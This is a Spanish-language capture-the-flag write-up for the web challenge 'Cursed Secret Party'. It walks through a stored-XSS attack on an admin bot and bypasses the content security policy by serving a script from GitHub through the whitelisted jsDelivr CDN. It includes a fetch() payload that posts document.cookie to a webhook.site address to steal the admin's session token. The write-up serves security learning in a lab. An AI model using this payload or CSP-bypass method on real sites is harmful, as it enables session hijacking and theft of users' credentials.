Cursed Secret Party
Challenge Description
You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?
Categoria: Web
Dificultad: Muy Fácil
Solution
Analizamos el codigo e identificamos que hay un bot que contiene la flag en la cookie.
const visit = async () => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
Esto quiere decir que el reto seguramente tenga que ver con XSS sin embargo no sera tan sencillo ya que estable el header CSP.
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
La informacion que le enviamos en el formulario la almacena directamente en la base de datos sin ningun tipo de sanitizacion.
async party_request_add(halloween_name, email, costume_type, trick_or_treat) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO party_requests (halloween_name, email, costume_type, trick_or_treat) VALUES (?, ?, ?, ?)');
resolve((await stmt.run(halloween_name, email, costume_type, trick_or_treat)));
} catch(e) {
reject(e);
}
});
}
Una vez que enviemos informacion la funcion del bot ejecutara lo que se almacene.
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
XSS CSP Bypass
Entonces primero tenemos que analizar el CSP que estable la aplicacion con CSP Evaluator. Vemos que el dominio https://cdn.jsdelivr.net esta marcado en whitelist.
Vemos que podemos hacer uso del CDN a traves de GitHub.
Para hacer uso de ese dominio tenemos que crearnos un repositorio en GitHub.
Una vez que tenemos el repositorio publico creamos un archivo con nuestro payload.
fetch('https://webhook.site/3f8048b0-a93c-44f1-b0ab-114cc5d2cf50', {method: 'POST', mode: 'no-cors', body: document.cookie});
Para acceder a nuestro payload es necesario usar el siguiente formato como lo menciona la pagina del CDN.
https://cdn.jsdelivr.net/gh/th3d00msl4y3r/xss/cook.js
Ahora enviamos nuestro payload a traves del parametro halloween_name.
Esperamos un momento y nos regresara la cookie en nuestro webhook.
Utilizamos jwt.io para decodear el valor y obtener la flag.
References
https://www.jsdelivr.com/?docs=gh
https://webhook.site/
https://jwt.io/